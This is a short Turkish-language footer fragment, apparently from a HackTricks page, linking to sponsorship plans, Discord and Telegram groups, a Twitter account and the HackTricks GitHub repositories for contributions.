* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|